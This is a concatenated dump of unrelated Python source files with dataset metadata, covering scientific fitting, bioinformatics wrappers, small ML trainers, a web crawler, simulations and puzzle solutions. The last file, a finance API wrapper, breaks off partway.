f\"WT_SS_loss_{seq_len}step_noise.pdf\"\n fig.savefig(os.path.join(\"fig\", fig_name), bbox_inches='tight')\n\n # Hidden variable plot\n x_hidden_fit_np = x_hidden_fit.detach().numpy()\n fig, ax = plt.subplots(2, 1, sharex=True)\n ax[0].plot(y_id[:, 0], 'b', label='Measured')\n ax[0].plot(x_hidden_fit_np[:, 0], 'r', label='Hidden')\n ax[0].legend()\n ax[0].grid(True)\n\n #ax[1].plot(x_est[:, 1], 'k', label='Estimated')\n ax[1].plot(x_hidden_fit_np[:, 1], 'r', label='Hidden')\n ax[1].legend()\n ax[1].grid(True)\n\n # Simulate\n y_val = np.copy(y_fit)\n u_val = np.copy(u_fit)\n\n #x0_val = np.array(x_est[0, :])\n #x0_val[1] = 0.0\n x0_val = x_hidden_fit[0, :].detach().numpy() # initial state had to be estimated, according to the dataset description\n x0_torch_val = torch.from_numpy(x0_val)\n u_torch_val = torch.tensor(u_val)\n\n with torch.no_grad():\n x_sim_torch = nn_solution.f_sim(x0_torch_val[None, :], u_torch_val[:, None, :])\n y_sim_torch = x_sim_torch[:, 0]\n x_sim = y_sim_torch.detach().numpy()\n\n\n # Simulation plot\n fig, ax = plt.subplots(2, 1, sharex=True, figsize=(6, 7.5))\n #ax[0].plot(time_exp, q_ref, 'k', label='$q_{\\mathrm{ref}}$')\n ax[0].plot(time_exp, y_val, 'k', label='$y_{\\mathrm{meas}}$')\n ax[0].plot(time_exp, x_sim[:, 0], 'r', label='$\\hat y_{\\mathrm{sim}}$')\n ax[0].legend(loc='upper right')\n ax[0].grid(True)\n ax[0].set_ylabel(\"Voltage (V)\")\n\n ax[1].plot(time_exp, u_id, 'k', label='$u_{in}$')\n ax[1].set_xlabel(\"Time (s)\")\n ax[1].set_ylabel(\"Voltage (V)\")\n ax[1].grid(True)\n ax[1].set_xlabel(\"Time (s)\")\n","sub_path":"examples/CTS_example/CTS_SS_fit_multistep.py","file_name":"CTS_SS_fit_multistep.py","file_ext":"py","file_size_in_byte":7153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"97956933","text":"# coding=utf-8\n# Created by OhBonsai at 2018/3/13\n\nfrom subprocess import CalledProcessError, check_output as run\n\nFLAKE8_COMMAND = 'flake8'\n\nFLAKE8_INPUTS = [\n 'app',\n 'tests'\n]\n\n\ndef pytest_generate_tests(metafunc):\n metafunc.parametrize('folder', FLAKE8_INPUTS)\n\n\ndef test_flake8(folder):\n \"\"\" Run skylines package through flake8 \"\"\"\n try:\n run([FLAKE8_COMMAND, folder])\n except CalledProcessError as e:\n print(e.output)\n raise AssertionError('flake8 has found errors.')\n except OSError:\n raise OSError('Failed to run flake8. Please check that you have '\n 'installed it properly.')\n\n","sub_path":"tests/test_flake8.py","file_name":"test_flake8.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"259213817","text":"#!/usr/bin/env python\n__author__ = \"etseng@pacb.com\"\n\"\"\"\nWrapper for running STARlong.\nParameters are pre-set according to:\n\n\n\"\"\"\nimport shutil\nimport subprocess\nimport tempfile\nfrom pathlib import Path\n\nimport typer\n\nfrom cupcake import version_callback\n\napp = typer.Typer(name=\"cupcake.sequence.STARwrapper\", help=\"Wrapper for running STAR\")\n\n\nCMD_STARlong = \"/home/UNIXHOME/etseng/software_downloads/STAR-2.5.3a/bin/Linux_x86_64/STAR --runMode alignReads --outSAMattributes NH HI NM MD --readNameSeparator space --outFilterMultimapScoreRange 1 --outFilterMismatchNmax 2000 --scoreGapNoncan -1 --scoreGapGCAG -4 --scoreGapATAC -8 --scoreDelOpen -1 --scoreDelBase -1 --scoreInsOpen -1 --scoreInsBase -1 --alignEndsType Local --seedSearchStartLmax 50 --seedPerReadNmax 100000 --seedPerWindowNmax 1000 --alignTranscriptsPerReadNmax 100000 --alignTranscriptsPerWindowNmax 10000\"\nCMD_STAR2_format = (\n CMD_STARlong\n + \" --twopassMode None --runThreadN {c} --genomeDir {d} --readFilesIn {i}\"\n)\n\n\ndef run_STAR(in_fasta, out_sam, genome_dir, cpus):\n with tempfile.mkdtemp(prefix=\"STARtmp\") as tmp_dir:\n in_fasta = Path(in_fasta)\n out_sam = Path(out_sam)\n cmd = CMD_STAR2_format.format(c=cpus, d=genome_dir, i=in_fasta)\n if subprocess.check_call(cmd, shell=True, cwd=tmp_dir) != 0:\n raise subprocess.CalledProcessError(f\"ERROR RUNNING CMD: {cmd}\")\n\n shutil.move(Path(tmp_dir, \"Aligned.out.sam\"), out_sam)\n\n\n@app.command(name=\"\")\ndef main(\n genome_dir: str = typer.Argument(...),\n in_fasta: str = typer.Argument(...),\n out_sam: str = typer.Argument(...),\n cpus: int = typer.Option(10, help=\"Number of threads (default: 10)\"),\n version: bool = typer.Option(\n None,\n \"--version\",\n callback=version_callback,\n is_eager=True,\n help=\"Prints the version of the SQANTI3 package.\",\n ),\n) -> None:\n\n run_STAR(in_fasta, out_sam, genome_dir, cpus)\n\n\nif __name__ == \"__main__\":\n typer.run(main)\n","sub_path":"src/cupcake/sequence/STARwrapper.py","file_name":"STARwrapper.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"616276162","text":"from bs4 import BeautifulSoup\nfrom typing import Generator\nfrom .data_source import AnimeResSearch\n\nget = AnimeResSearch.get\n\n\nclass AnimeResFilter:\n __slots__ = (\"data\", \"html\", \"types\")\n\n def __init__(self, data: Generator, html: BeautifulSoup = None):\n \"\"\"\n :param data: 获取的资源的生成器\n :param html: 整个页面\n \"\"\"\n self.data = dict()\n self.html = html\n self.types = []\n if data:\n for value in data:\n if value[\"type\"] in self.types:\n self.data[value[\"type\"]].append(value)\n else:\n self.types.append(value[\"type\"])\n self.data[value[\"type\"]] = [value]\n\n async def type_msg(self, bot) -> str:\n \"\"\"\n :param bot: 用于发送获取的信息\n :return: 当信息获取到时返回字符串让机器人发送\n 当获取到类型时表示有资源\n 如果资源类型只有一条便发送这一条数据\n 否则发送所有类型\n \"\"\"\n if self.types:\n if len(self.types) == 1:\n await self.confirm_type_send(bot, self.data[self.types[0]][0])\n await bot.send(\"获取类型如下:\\n\" + \"\\n\".join([f\"{i}. {t}\" for i, t in enumerate(self.types)]))\n else:\n await bot.finish(\"未发现资源，先确认是否存在或输入是否有误！请重新输入。\")\n return \"请选择所需类型名或数字索引\"\n\n async def confirm_type_msg(self, bot, text: str):\n \"\"\"\n :param bot: 用于发送获取的信息\n :param text: 关键字文本\n 判断文本是否能转为数字\n 如果依然是字符串\n 便通过字符串判断是否是以上类型中的一个，如果是便发送数据\n 是数字\n 查看是否能类型中的索引，如果是便发送数据\n \"\"\"\n try:\n text = int(text)\n except ValueError:\n ...\n if isinstance(text, str):\n for t in self.types:\n if t in text:\n await self.confirm_type_send(bot, self.data[t][0])\n continue\n else:\n if 0 <= text < len(self.types):\n await self.confirm_type_send(bot, self.data[self.types[text]][0])\n await bot.finish(\"您输入类型有误，请重新进行资源搜索！\")\n\n @staticmethod\n async def confirm_type_send(bot, data: dict):\n \"\"\"\n :param bot: 用于发送信息\n :param data: 获取的资源中的数据\n \"\"\"\n text = f\"名称：{data['title'][:80]}...\\n大小：{data['size']}\"\n magnet = await AnimeResSearch.get_magnet(data[\"href\"])\n await bot.send(text)\n await bot.finish(magnet)\n\n\n\n\n\n\n\n\n\n\n","sub_path":"src/plugins/animeres/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"157089834","text":"from subprocess import Popen, PIPE\nfrom threading import Thread\nfrom queue import Queue, Empty\n\nimport atexit\nimport os\nimport sys\nagent_processes = [None, None]\nt = None\nq = None\ndef cleanup_process():\n global agent_processes\n for proc in agent_processes:\n if proc is not None:\n proc.kill()\ndef enqueue_output(out, queue):\n for line in iter(out.readline, b''):\n queue.put(line)\n out.close()\ndef js_agent(observation, configuration):\n \"\"\"\n a wrapper around a js agent\n \"\"\"\n global agent_processes, t, q\n\n agent_process = agent_processes[observation.player]\n ### Do not edit ###\n if agent_process is None:\n if \"__raw_path__\" in configuration:\n cwd = os.path.dirname(configuration[\"__raw_path__\"])\n else:\n cwd = os.path.dirname(__file__)\n agent_process = Popen([\"node\", \"main.js\"], stdin=PIPE, stdout=PIPE, stderr=PIPE, cwd=cwd)\n agent_processes[observation.player] = agent_process\n atexit.register(cleanup_process)\n\n # following 4 lines from https://stackoverflow.com/questions/375427/a-non-blocking-read-on-a-subprocess-pipe-in-python\n q = Queue()\n t = Thread(target=enqueue_output, args=(agent_process.stderr, q))\n t.daemon = True # thread dies with the program\n t.start()\n if observation.step == 0:\n # fixes bug where updates array is shared, but the first update is agent dependent actually\n observation[\"updates\"][0] = f\"{observation.player}\"\n \n # print observations to agent\n agent_process.stdin.write((\"\\n\".join(observation[\"updates\"]) + \"\\n\").encode())\n agent_process.stdin.flush()\n\n # wait for data written to stdout\n agent1res = (agent_process.stdout.readline()).decode()\n _end_res = (agent_process.stdout.readline()).decode()\n\n while True:\n try: line = q.get_nowait()\n except Empty:\n # no standard error received, break\n break\n else:\n # standard error output received, print it out\n print(line.decode(), file=sys.stderr, end='')\n\n outputs = agent1res.split(\"\\n\")[0].split(\",\")\n actions = []\n for cmd in outputs:\n if cmd != \"\":\n actions.append(cmd)\n return actions","sub_path":"kaggle_environments/envs/lux_ai_2021/test_agents/js_simple/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"190830751","text":"import argparse\nimport pickle\nimport numpy as np\nimport nltk\n\nfrom tqdm import tqdm\n\nfrom prep_data import *\n# def prep_data():\n# nltk.download('brown')\n# nltk.download('universal_tagset')\n\n# corpus = nltk.corpus.brown.tagged_words()\n# return [(word, nltk.tag.map_tag('brown','universal',tag)) for word,tag in corpus]\n\n\ndef calculate_transition_probs(data,tag_dict):\n # Function to calculate bigram counts of tags given a list of list of tuples, having (word,tag)\n # where first ele of each tag-list is , last is \n # tag_dict is dict containing list of all unique tags present in data\n # lambda_interpolation is the coefficient for linear interpolation\n bigram_counts = np.zeros((len(tag_dict),len(tag_dict)))\n # monogram_counts = np.zeros((len(tag_dict),1))\n for sentence in data:\n # monogram_counts[tag_dict[sentence[0][1]]] += 1\n for i in range(1,len(sentence)):\n bigram_counts[tag_dict[sentence[i][1]],tag_dict[sentence[i-1][1]]]+=1\n # monogram_counts[tag_dict[sentence[i][1]]] += 1\n #do discounting and smoothing here\n # monogram_probs = monogram_counts.mean()\n bigram_probs = bigram_counts/(bigram_counts.sum(axis=1)+1e-10)\n return bigram_probs\n\ndef calculate_emmision_probs(data,tag_dict,word_dict,lambda_interpolation):\n # data here is a list of list of tuples, having (word,tag)\n emmision_probs = np.zeros((len(word_dict),len(tag_dict)))\n for k in data:\n for i in k: \n # print(i)\n emmision_probs[word_dict[i[0]],tag_dict[i[1]]] += 1\n return ((1-lambda_interpolation)*emmision_probs/((emmision_probs.sum(axis=1).reshape(-1,1))+1e-10)) + lambda_interpolation/(1e+8)\n\n\nclass Probs:\n def __init__(self,sents,word_dict,tag_dict,text_file_path='wiki-en-train.norm_pos'):\n\n # data,self.word_dict,self.tag_dict = preprocess(text_file_path)\n self.emmision_probs = calculate_emmision_probs(sents,tag_dict,word_dict,0.1)\n self.transition_probs = calculate_transition_probs(sents,tag_dict) \n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--model\", help=\"Model file\")\n # parser.add_argument(\"--train-file\", help=\"Input file to be decoded\")\n args = parser.parse_args()\n data = DataLoader()\n data.preprocess_hmm()\n word_dict,tag_dict = data.word_dict,data.tag_dict\n for i in range(5):\n print(\"Training Fold no. {}\".format(i))\n train,test = data.get_fold(i)\n p = Probs(train,word_dict,tag_dict)\n\n # print(p.word_dict)\n # print(p.tag_dict,p.word_dict['.'],p.emmision_probs[31,13],p.transition_probs[0,:])\n pickle.dump(p,open(args.model,'wb'))\n\n\n","sub_path":"A1/170020016_170050107_170070015_Assignment1/HMM/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"564152360","text":"#!/usr/bin/python2\nimport turtle\nimport math\nimport random\n \n'''\nREGLE 1 :\n- OBTENIR POSITION MOYENNE DE TOUT LES BOIDS : positionMoyenne()\n- CALCULER LE VECTEUR VITESSE BOID[i] VERS LA POSITION MOYENNE : AB : xB - xA, yB - yA : vecteurVitesse()\n- TRANSFORMER VITESSE EN ANGLE : speed2heading()\n'''\n\nboid=[] #tableau d'oiseaux\nN=4 #nombre de oiseau\n#zoneRepu = 3\n\n#REGLE 1\ndef positionMoyenne():\n sx=0\n sy=0\n x=0\n y=0\n for i in range(N):\n x, y = boid[i].position()\n sx += x\n sy += y\n return sx / N, sy / N\n\ndef vecteurVitesse( x, y, xposM, yposM ):\n return xposM - x, yposM - y\n\ndef speed2heading(x,y):\n return math.atan2(y,x)*57.17\n\n#REGLE 2\ndef angleMoyen():\n a = 0\n for i in range(N):\n a += boid[i].position()\n return a/N\n\n#regle 2\ndef regle2():\n theta = angleMoyen() / 57.17 #57,17 360 -> 2pi\n return math.cos(theta), math.sin(theta)\n\n\nposx=0;\nposy=0;\n\nfor i in range(N):\n boid.append(turtle.Turtle())\n\n#initialisation des parametres\nfor i in range(N):\n boid[i].penup() #ne pas tracer\n boid[i].setposition(random.randint(-100, 100), random.randint(-100, 100))\n boid[i].setheading(random.randint(0,359)) #angle de l'oiseau en degree\n boid[i].color(random.random(), random.random(), random.random())\n boid[i].pendown() #tracer deplacement\n\nwhile True:\n\n #regle 1 : tout les oiseaux vont au centre\n \n for i in range(N):\n posx, posy = positionMoyenne()\n posx, posy = vecteurVitesse( boid[i].xcor(), boid[i].ycor(), posx, posy)\n boid[i].setheading( speed2heading( posx, posy ) )\n boid[i].forward(1)\n\nraw_input()#attend que l'utilisateur frappe une touche pour quitter\n\n\n","sub_path":"TP1/tp1V1.py","file_name":"tp1V1.py","file_ext":"py","file_size_in_byte":1693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"370249739","text":"from apogee.models import BayesianModel, DiscreteNaiveBayes\nimport apogee as ap\n\ndata = ap.random.random_array(1000, 10, seed=0)\nlabels = [\"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\", \"h\", \"i\", \"j\"]\nx = ap.vstack(([ap.encoding.discretise(data[:, i], 2) for i in range(10)])).T\n\n# build a Naive Bayes model\nnaive = DiscreteNaiveBayes()\nnaive.fit(x[:, 1:], x[:, 0], labels=labels)\n\n# build the equivalent Naive Bayes with the BayesianModel object\nb = BayesianModel()\nb.add(\"a\")\nfor i in range(1, 10):\n b.add(labels[i], parents=[\"a\"])\nb.fit(x, labels=labels, normed=True)\n\nfor i in range(100):\n n, f = (naive.predict([x[i][1:]]), b.predict(x[i][1:], labels[1:], \"a\")[\"a\"])\n print(n, f)\n\n","sub_path":"apogee/examples/bayes_to_naive_bayes.py","file_name":"bayes_to_naive_bayes.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"254596512","text":"from rest_framework.exceptions import ValidationError\nfrom django.http.response import HttpResponse\nimport itertools\nimport xlwt\nimport xlrd\n\n\ndef export_excel(data, name, fields):\n response = HttpResponse(content_type='application/ms-excel')\n response['Content-Disposition'] = f'attachment;filename={name}.xls'\n\n wb = xlwt.Workbook(encoding='utf-8')\n ws = wb.add_sheet(name)\n \n # 创建标头\n for col, field in enumerate(fields):\n ws.write(0, col, field[1])\n\n for row, item in enumerate(data):\n for col, field in enumerate(fields):\n ws.write(row + 1, col, item.get(field[0]))\n\n wb.save(response)\n return response\n\n\ndef import_excel(self, fields):\n file = self.request.FILES.get('file')\n\n if not file:\n raise ValidationError({'message': '文件不存在'})\n\n wb = xlrd.open_workbook(file_contents=file.read())\n ws = wb.sheet_by_index(0)\n\n row_fields = [item[1][0] for item in itertools.product(ws.row_values(0), fields) if item[0] == item[1][1]]\n for row in range(1, ws.nrows):\n data = {item[0]: item[1] for item in zip(row_fields, ws.row_values(row)) if item[1] != ''}\n self.get_serializer(data=data).is_valid(raise_exception=True)\n yield data\n","sub_path":"utils/excel.py","file_name":"excel.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"178450894","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Mar 30 17:59:30 2018\n\n@author: steven\n\"\"\"\nfrom teacher_spider import url_manager\nfrom teacher_spider import html_downloader\nfrom teacher_spider import html_parser\nfrom teacher_spider import html_outputer\n\n\nclass SpiderMain(object):\n def __init__(self):\n self.urls=url_manager.UrlManager()\n self.downloader=html_downloader.HtmlDownloader()\n self.parser=html_parser.HtmlParser()\n self.outputer=html_outputer.HtmlOutputer()\n \n def craw(self,root_url):\n count=0\n self.urls.add_new_url(root_url)\n while self.urls.has_new_url():\n try:\n new_url=self.urls.get_new_url()\n # print('craw %d : %s'%(count,new_url))\n print('%d'%count)\n html_cont=self.downloader.download(new_url)\n new_urls,new_data=self.parser.parse(new_url,html_cont)\n self.urls.add_new_urls(new_urls)\n print(new_data['name'])\n print(new_data['paper1'])\n print(new_data['paper2'])\n print(new_data['paper3'])\n self.outputer.collect_data(new_data)\n if count==1000:\n break\n \n count=count+1\n except:\n print('craw failed')\n \n self.outputer.output_html()\n \n \nif __name__==\"__main__\":\n root_url=\"http://www.cs.tsinghua.edu.cn/publish/cs/4797/index.html\"\n obj_spider=SpiderMain()\n obj_spider.craw(root_url)","sub_path":"teacher_spider/spider_main.py","file_name":"spider_main.py","file_ext":"py","file_size_in_byte":1565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"258816884","text":"import numpy as np\nimport pylab as pl\nimport time\nimport mod2011 as mod\nfrom scipy.integrate import odeint \nfrom numpy import fft\n\nt0=time.time()\npars=mod.get_params()\npars[\"f\"]=1000\n\ntf=10/pars[\"f\"]\nN=10000\nts=np.linspace(0,tf,N)\n\nh0, t0, n0, p0=mod.get_stat(pars, pars[\"PFDlight_0\"])\nX0=np.array([h0, n0, t0])\n\nsols=odeint(mod.get_sys, X0, ts, args=(pars,), hmax=0.001)\n\npfds=np.array([mod.get_PFD_osc(pars, t) for t in ts])\nF=mod.fluo_TS(pars, sols[:,1], pfds)\n\nLcos=np.cos(2*np.pi*pars[\"f\"]*ts)\nLsin=np.sin(2*np.pi*pars[\"f\"]*ts)\n\nFn=F-F.mean()\n\ncr=Fn@Lcos\nci=Fn@Lsin\n \nfs=N/tf\nSp=fft.fft(Fn)\nfreqs=fft.fftfreq(len(Fn))*fs \nax=pl.subplot(111)\nax.plot(freqs, np.abs(Sp))\nax.set_xlabel('Frequency in Hertz [Hz]')\nax.set_ylabel('Frequency Domain (Spectrum) Magnitude')\nax.set_xlim(-5*pars[\"f\"], 5*pars[\"f\"])\npl.savefig(\"fft%s.png\"%pars[\"f\"])\npl.clf()\namp=np.sqrt(cr**2+ci**2)\nph=np.arctan(ci/cr)\nprint(amp,ph)\n\npl.subplot(211)\npl.plot(ts,pfds)\npl.subplot(212)\npl.plot(ts,F)\npl.savefig(\"lala.png\")\n\nprint(time.time()-t0)\n","sub_path":"ebenhoh2011_osc/osc.py","file_name":"osc.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"48679202","text":"from matplotlib import pyplot as plt\nimport numpy as np\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib import animation\n\nfig = plt.figure()\nax = Axes3D(fig)\n\ndef update_dot(num, dataLines, lines):\n for line, data in zip(lines, dataLines):\n line.set_data(data[0:2, num-1:num])\n line.set_3d_properties(data[2,num-1:num])\n return lines\n\ndef update(num, data, line):\n line.set_data(data[:2, :num])\n line.set_3d_properties(data[2, :num])\n\ndef gen1():\n phi = 10*np.pi/180\n a = 90*np.pi/180\n q = 1.9*pow(10, -19)\n B = 0.05\n m = 9.1*pow(10, -31)\n v = pow(10, 8)\n dt = 0.000000000001\n t = 0\n x, y, z = 0, m*v/(q*B), 0\n vx = v*np.sin(phi)*np.sin(a)+q*B*0*dt/(2*m)\n vy = 0-q*B*vx*dt*np.sin(a)/(2*m)\n vz = v*np.cos(phi)\n x += vx*dt\n y += vy*dt\n z += vz*dt\n c = 0\n while(c!=100000):\n c += 1\n vx0 = vx\n vx += q*B*vy*dt/m\n vy -= q*B*vx0*dt/m\n vz = vz\n x += vx*dt\n y += vy*dt\n z += vz*dt\n yield np.array([x, y, z])\ndef ani():\n N = 10000000\n data1 = np.array(list(gen1())).T\n line1, = ax.plot(data1[0, 0:1], data1[1, 0:1], data1[2, 0:1], color=\"blue\")\n\n ax.set_xlabel('X')\n ax.set_xlim3d([-0.01, 0.01])\n ax.set_ylabel('Y')\n ax.set_ylim3d([-0.01, 0.01])\n ax.set_zlabel('Z')\n ax.set_zlim3d([0, 1])\n\n ani = animation.FuncAnimation(fig, update, N, fargs=(data1, line1), interval=1)\n #ani.save('animation.gif', writer='imagemagick', fps=15)\n plt.show()\n\ndef main(): ani()\n \nif __name__ == \"__main__\": main()","sub_path":"fost/88.py","file_name":"88.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"516136901","text":"# coding: utf8\nimport random\n\ndef get_banded_flows(flows, lo_bound, hi_bound):\n\t'''\n\t返回数据流集合flows中长度在[lo_bound, hi_bound]之间的数据流；\n\t如果hi_bound < 0，则返回所有长度大于等于lo_bound的数据流\n\t'''\n\tres = dict()\n\tfor key, cnt in flows.items():\n\t\tif cnt >= lo_bound:\n\t\t\tif (hi_bound >= 0 and cnt <= hi_bound) or hi_bound < 0:\n\t\t\t\tres[key] = cnt\n\treturn res\n\t\ndef banded_ae_calc(flows1, flows2, lo_bound, hi_bound):\n\t'''\n\t首先从数据流集合flows1中提取出其长度在[lo_bound, hi_bound]之间的数据流，\n\t之后以flows2中相应数据的长度为参照计算其平均误差\n\t'''\n\ttempFlows = get_banded_flows(flows1, lo_bound, hi_bound)\n\tae = 0.0\n\tfor key, cnt in tempFlows.items():\n\t\ttemp = 0\n\t\tif key in flows2:\n\t\t\ttemp = flows2[key]\n\t\tae = ae + abs(temp - cnt)\n\tae = ae/len(tempFlows)\n\treturn ae\n\ndef banded_f1score_calc(flows1, flows2, lo_bound, hi_bound):\n\t'''\n\t首先在flows1中提取出长度在[lo_bound, hi_bound]中的数据流tempFlows1，之后\n\t再从flows2中提取出长度在[lo_bound, hi_bound]中的数据流tempFlows2，然后计算\n\ttempFlows1和tempFlows2的交集的容量\n\t'''\n\ttempFlows1 = get_banded_flows(flows1, lo_bound, hi_bound)\n\ttempFlows2 = get_banded_flows(flows2, lo_bound, hi_bound)\n\tc = 0\n\tfor key in tempFlows1.keys():\n\t\tif key in tempFlows2:\n\t\t\tc = c + 1\n\tif 0 == len(tempFlows1):\n\t\trr = 0\n\telse:\n\t\trr = float(c)/len(tempFlows1)\n\tif 0 == len(tempFlows2):\n\t\tpr = 0\n\telse:\n\t\tpr = float(c)/len(tempFlows2)\n\tif 0 == pr + rr:\n\t\tf1score = 0\n\telse:\n\t\tf1score = 2*rr*pr/(pr + rr)\n\treturn f1score\n\n\ndef banded_are_calc(realFlows, measuredFlows, lo_bound, hi_bound):\n\t'''\n\t计算对长度在一定范围之内的数据流的检测的平均相对误差\n\t'''\n\tflows1 = get_banded_flows(realFlows, lo_bound, hi_bound)\n\tflows2 = get_banded_flows(measuredFlows, lo_bound, hi_bound)\n\t\n\t'''Calculate the Average Relative Error'''\n\tare = 0.0\n\tfor key, cnt in flows1.items():\n\t\ttemp = 0\n\t\tif key in flows2:\n\t\t\ttemp = flows2[key]\n\t\tare = are + abs(temp - cnt)/float(cnt)\n\tare = are/len(flows1)\n\treturn are\n\n\ndef get_rand_flow_id():\n\t\"\"\"Generate a random flow identifier\"\"\"\n\tlst = []\n\tfor i in range(8):\n\t\titem = random.randint(1, 255)\n\t\tlst.append(str(item))\n\tsrcip = \".\".join(lst[0:4])\n\tdstip = \".\".join(lst[4:8])\n\tproto = random.randint(1, 2)\n\tif 1 == proto:\n\t\tproto = \"6\"\n\telif 2 == proto:\n\t\tproto = \"17\"\n\tsrcport = str(random.randint(1, 65535))\n\tdstport = str(random.randint(1, 65535))\n\tpkt = {\"srcip\": srcip, \"dstip\": dstip, \"proto\": proto, \"srcport\": srcport, \"dstport\": dstport}\n\treturn pkt\n","sub_path":"network/flow_tools.py","file_name":"flow_tools.py","file_ext":"py","file_size_in_byte":2578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"110142811","text":"from intcode import Intcode\nimport itertools\n\narray = [3,26,1001,26,-4,26,3,27,1002,27,2,27,1,27,26,\n27,4,27,1001,28,-1,28,1005,28,6,99,0,0,5]\n\nlistOfPhaseSettings = (list(itertools.permutations(range(5,10), 5)))\nprint(listOfPhaseSettings)\n\ndef runAmplifierSeries(phaseSettings):\n i = 0\n userInput = 0\n while i < 5:\n print(userInput)\n userInput = Intcode(array, userInput, phaseSettings[i])\n\n i += 1\n return userInput\n\n\nresult = [(runAmplifierSeries(settings), settings) for settings in listOfPhaseSettings]\n\nprint(max(result))\n","sub_path":"Day7/part 2/wrapper.py","file_name":"wrapper.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"562086269","text":"import tensorflow as tf\r\nimport matplotlib.pyplot as plt\r\nfrom time import time\r\nimport sys \r\nimport os\r\n\r\ntf.logging.set_verbosity(tf.logging.INFO)\r\nsys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))\r\n\r\nfrom utils.write_tfrecords import decode\r\nfrom models import star_model\r\nfrom utils import configurator, io_utils\r\n\r\ndef data_iterator(tfr_file, epoch=1):\r\n \"\"\" \"\"\"\r\n dataset = tf.data.TFRecordDataset(tfr_file)\r\n dataset = dataset.map(decode)\r\n # TODO: does this value make sense for buffer size?\r\n dataset = dataset.shuffle(1000)\r\n return dataset.make_initializable_iterator()\r\n\r\nif __name__==\"__main__\":\r\n import sys\r\n config_file = sys.argv[1]\r\n\r\n config = configurator.Configurator(config_file)\r\n beta = config.beta\r\n k = config.k\r\n epoch = config.num_epochs\r\n learning_rate = config.learning_rate\r\n \r\n train_tfr = config.train_tfr\r\n test_tfr = config.test_tfr\r\n\r\n # TODO: where do matrix dims go? config?\r\n star = star_model.StarModel(4, 16, k, beta)\r\n\r\n test_it = data_iterator(test_tfr)\r\n s,p,t = test_it.get_next()\r\n accuracy = star.accuracy(s,p,t)\r\n\r\n training_it = data_iterator(train_tfr,epoch=epoch)\r\n single, pair, truth = training_it.get_next()\r\n loss = star.loss(single, pair, truth)\r\n optimizer = tf.train.AdagradOptimizer(learning_rate)\r\n minimizer = optimizer.minimize(loss)\r\n\r\n #initialize_iter = initializable_iterator.initializer\r\n \r\n init_op = tf.global_variables_initializer()\r\n epoch_loss = []\r\n saver = tf.train.Saver()\r\n with tf.Session() as sess:\r\n sess.run(init_op)\r\n start_time = time()\r\n training_loss = []\r\n\r\n test_err = []\r\n for step in range(epoch):\r\n sess.run(training_it.initializer)\r\n epoch_loss = []\r\n while True:\r\n try:\r\n _, loss_val = sess.run([minimizer, loss])\r\n epoch_loss.append(loss_val)\r\n except tf.errors.OutOfRangeError:\r\n print('done', step)\r\n break\r\n\r\n training_loss.append(epoch_loss)\r\n\r\n epoch_test_err = []\r\n\r\n sess.run(test_it.initializer)\r\n while True:\r\n try:\r\n epoch_test_err.append(sess.run(accuracy))\r\n except tf.errors.OutOfRangeError:\r\n break \r\n test_err.append(sum(epoch_test_err)/float(len(epoch_test_err)))\r\n\r\n full_model_path = io_utils.model_path(config.model_name)\r\n saver.save(sess, full_model_path)\r\n print('train_time', time()-start_time)\r\n dataset_size = len(epoch_loss)\r\n average_of_per_epoch_training_loss = \\\r\n [sum(i)/dataset_size for i in training_loss]\r\n\r\n print(average_of_per_epoch_training_loss)\r\n print(test_err)\r\n\r\n io_utils.save_training_loss(config.model_name, average_of_per_epoch_training_loss)\r\n io_utils.save_test_err(config.model_name, test_err)\r\n\r\n #plt.plot(average_of_per_epoch_training_loss, label=\"train_err\")\r\n #plt.show()\r\n #plt.plot(test_err,label=\"test_err\")\r\n #plt.show()\r\n\r\n\r\n\r\n","sub_path":"python-src/globerson/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"356662700","text":"# -*- coding: utf-8 -*-\n\"\"\" GOOGLE FINANCE API wrapper \"\"\"\n\n\"\"\"\nAUTHOR: @jimako1989\nGITHUB: github.com/jimako1989/gfinance\nLICENSE: MIT\n\"\"\"\n\nimport os,requests,datetime\nimport pandas as pd\nimport numpy as np\nfrom bs4 import *\n\ndef get_data(currency,freq,period):\n # Arranging ohlc data.\n def split_line(string,basedate,timezone_shift,freq):\n list_str = string.split(',')\n if list_str[0][0]=='a': # The number after the 'a' is a Unix timestamp\n time = 